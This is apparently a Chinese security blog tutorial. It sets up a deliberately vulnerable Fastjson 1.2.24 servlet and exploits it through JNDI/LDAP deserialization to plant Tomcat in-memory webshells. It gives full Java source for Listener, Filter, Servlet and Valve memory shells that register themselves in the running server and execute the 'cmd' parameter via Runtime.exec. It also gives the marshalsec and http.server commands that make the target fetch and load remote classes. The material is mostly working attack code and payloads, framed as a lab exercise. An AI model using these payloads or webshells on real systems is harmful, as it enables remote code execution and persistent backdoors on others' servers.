这里用经典的1.2.24版本,如图所示导入即可
新建一个servlet
写入下面漏洞代码在我们的POST方法里面,并写上我们的路由访问。
package org.example.fastjsonvul;
import com.alibaba.fastjson.JSON;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
@WebServlet(name = "FastJsonServlet", value = "/FastJsonServlet")
public class FastJsonServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doGet(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
BufferedReader bufferedReader = req.getReader();
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line);
}
String jsonString = stringBuilder.toString();
JSON.parseObject(jsonString);
}
}
把项目启动起来,验证我们的路由是否有效。
使用JNDIExploit启动一个简单的命令执行类,我们验证是否可以打反序列化漏洞,通过-u查看使用。
java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
使用下面命令启动JNDIExploit,并发送payload到漏洞站点,看见成功触发了命令,现在我们的靶场是没有问题的。
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 0.0.0.0
POST /FastJsonVul_war/FastJsonServlet HTTP/1.1
Host: locahost:8080
Connection: keep-alive
Content-Length: 273
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.6:1389/Basic/Command/calc",
"autoCommit":true
}
}
Listener内存马
我们在Tomcat内存马所使用的项目根目录创建一个ListenerMemory文件,对照之前的jsp版本写入命令执行部分,这里根目录创建是为了不要顶部的package包名,因为这个java文件会被转换成class字节码到目标服务器运行,目标服务器可没有我们自己的包名路径,所以为了一步到位就在根目录创建。
执行时机
正常来讲我们是远程加载这个ListenerMemory类的,所以不存在对方会给我们new这个类,所以我们能执行代码的地方只有加载的时候,而java的static静态修饰的属性、对象等都会在加载的时候执行,所以我们要写一个static静态代码块来实现这个步骤。
获取StandardContext
现在有一个致命问题,之前的StandardContext都是通过jsp的内置对象request获取,现在我可是一个白白净净的java文件,没有这个东西,这里给出的解决方法是bitterz师傅说的ContextClassLoader获取。
Class编写
最终我们的代码如下,很好没有报语法错误。
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.IOException;
public class ListenerMemory implements ServletRequestListener {
static {
//获取上下文的加载器
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
standardContext.addApplicationEventListener(new ListenerMemory());
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
String cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
这里使用直接编译是有问题的,会出现找不到org.apache.juli包,这里问了神奇的GPT,他说的也是很清楚,这个包不在tomcat里面单独提供。
这里我换了一个环境,把ListenerMemory文件复制到Fastjson的项目,这里要添加tomcat的依赖catalina.jar,才能使用部分tomcat的api。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>FastJsonVul</artifactId>
<version>1.0-SNAPSHOT</version>
<name>FastJsonVul</name>
<packaging>war</packaging>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.target>1.8</maven.compiler.target>
<maven.compiler.source>1.8</maven.compiler.source>
<junit.version>5.10.2</junit.version>
</properties>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.69</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-war-plugin</artifactId>
<version>3.3.2</version>
</plugin> </plugins>
</build>
</project>
可以看见项目正常启动,但是我们没有在pom文件引入这个org.apache.juli包,我们在项目结构里面可以看见,默认项目创建的时候有引入这个包,这下懂了为什么了吧。
这里涉及到一些环境问题,也就是目标机器没有org.apache.juli包和catalina包,那我们内存马就G了,当然绝大多数情况都是有的。
实际上这也是我们为什么要在本地调试内存马,首先你的内存马要经过编译和运行,两道检测关卡,才去考虑waf拦截和免杀问题,要知道是哪一步你的马不起作用,我们好修改,寻找替代的方法,搞得多了你就是内存马小王子。
运行内存马
我们找到项目目录生产的class,这也是idea的方便,我们小手一点运行就给我们编译好了class,不用敲java命令。
把这个class挂载在一个web可访问目录下
py -3 -m http.server
这里用到marshalsec工具,从github下载源码进行自己打包,用他帮我们挂载一下我们的内存马,让他可以通过rmi、ldap这些协议远程访问。
mvn clean package -DskipTests
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8000/#ListenerMemory 9999
发送我们的payload请求
POST /FastjsonVul_war/FastJsonServlet HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 269
Content-Type: application/json; charset=utf-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.1.8:9999/ListenerMemory",
"autoCommit":true
}
}
执行内置好的命令参数,已经执行成功了,这个是没有回显的马,后面功力精进了才搞一下怎么回显。
Filter内存马
有了前面Listener的编写知识,下面我们制作Filter也就简单了,这里就直接在Fastjson项目上直接编写内存马(前面也分析了,里面有我们所需的环境)。
Class编写
先把Filter部分写好,copy之前jsp的部分,我们再写static的调用部分。
filter创建的部分有点长, 我们把jsp调用的部分全部复制过来,用 try/catch捕捉异常,把能导入依赖的包都引入。
现在request对象是没有的,所以不能用request获取StandardContext,我们替换成使用catalina包的api获取StandardContext对象,修改完了,记得有些异常要捕获。
编译成功
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class FilterMemory implements Filter {
static {
try {
//获取上下文的加载器
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
FilterMemory vulFilter = new FilterMemory();
String filterName = "VulFilter";
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(vulFilter.getClass().getName());
filterDef.setFilter(vulFilter);
Field FfilterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
FfilterConfigs.setAccessible(true);
Map<String,Object> filterConfigMap = (Map<String, Object>)FfilterConfigs.get(standardContext);
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
Constructor<ApplicationFilterConfig> declaredConstructor = null;
declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(standardContext,filterDef);
filterConfigMap.put(filterName,applicationFilterConfig);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
Process runtime = Runtime.getRuntime().exec(cmd);
String line;
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(runtime.getInputStream()));
while ((line = bufferedReader.readLine())!=null){
servletResponse.getWriter().write(line);
}
}
}
运行内存马
启动远程ldap服务和挂载内存马到web目录。
py -3 -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8000/#ServletMemory 9999
打入内存马,这里有点奇怪,在之前也出现过,为什么我web服务没有出现请求记录,但是马又是成功打入了的,不知道是不是协议还是python起的服务有问题。
这里发现没有如愿
调试
我们调试一下,新建一个TestServlet,先运行能正常访问。
把Filter部分以内部类形式写在testServlet里面,执行Filter代码写在testServlet#doGet里面,也就是try/catch部分,直接复制,把依赖导入即可。
打上断点,在这一步执行就会出错。
我们单步进去,我走了一遍,发现这一行有问题,我们从这里进去。
这里一直走到调用我们filter的init方法就出错了,再往下走一步就出错了。
回过头来看一下,恍然大悟,我傻逼了,这甜蜜的接口,我们没有实现他,之前还想着省事不写那两个init和destroy方法,想着是空的QAQ。
重新运行,成功执行。
运行
回到FilterMemory文件,重写init方法,重新打入新的内存马。
执行没有问题
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
public class FilterMemory implements Filter {
static {
try {
//获取上下文的加载器
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
FilterMemory filterMemory = new FilterMemory();
String filterName = "FilterMemory";
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filterMemory.getClass().getName());
filterDef.setFilter(filterMemory);
Field FfilterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
FfilterConfigs.setAccessible(true);
Map<String,Object> filterConfigMap = (Map<String, Object>)FfilterConfigs.get(standardContext);
standardContext.addFilterDef(filterDef);
standardContext.addFilterMap(filterMap);
Constructor<ApplicationFilterConfig> declaredConstructor = null;
declaredConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
declaredConstructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = declaredConstructor.newInstance(standardContext,filterDef);
filterConfigMap.put(filterName,applicationFilterConfig);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd = servletRequest.getParameter("cmd");
Process runtime = Runtime.getRuntime().exec(cmd);
String line;
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(runtime.getInputStream()));
while ((line = bufferedReader.readLine())!=null){
servletResponse.getWriter().write(line);
}
}
}
Servlet内存马
如法炮制,三部曲(写对应类型命令执行代码,static调用恶意代码,远程打入内存马)。
Class编写
先把Servlet部分写好,我们再写static的调用部分。
然后把jsp调用内存马执行部分代码copy过来,这里把能导入的依赖导入进去。
运行成功,没有报错
运行内存马
启动远程ldap服务和挂载内存马到web目录。
py -3 -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.8:8000/#ServletMemory 9999
打入内存马,这里有点奇怪,在之前也出现过,为什么我web服务没有出现请求记录,但是马又是成功打入了的,不知道是不是协议还是python起的服务有问题。
访问内存马指定的路径和参数,能成功执行,这个是有回显的,因为在Servlet很容易获取request和response对象。
Valve内存马
Class编写
新建一个ValveMemory文件,轻车熟路。
jsp有的代码一个不少
接着替换获取StandardContext方法,运行成功没有问题。
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class ValveMemory implements Valve {
static {
//获取上下文的加载器
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
ValveMemory vulValve = new ValveMemory();
standardContext.addValve(vulValve);
}
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
Process exec = Runtime.getRuntime().exec(cmd);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null){
response.getWriter().write(line);
}
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
运行内存马
启动ldap服务
打入内存马,成功执行
总结
基本上tomcat内存马我们就讲完了,从搭建靶场、分析内存马、到自己写一个内存马、到调试内存马,还剩下Listener的回显问题没有解决,这个我是考虑单独放在一篇文章里面说明,总结回显的方法都有哪些。
其实还有很多扩展,像获取StandardContext方法其他方法,不同版本的限制,如tomcat-catalina版本太高了怎么办(高版本没法用现在这个方法获取StandardContext),其他版本的tomcat这几个内存马怎么写等等,这些都在一步一步学习中。
参考&感谢
枫のBlog https://goodapple.top/archives/1355
https://cwiki.apache.org/confluence/display/GMOxDOC30/Managing+Valve
https://tomcat.apache.org/tomcat-6.0-doc/config/valve.html
https://zhuanlan.zhihu.com/p/127824362
AI(一个问题要问很多次才有眉目)
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)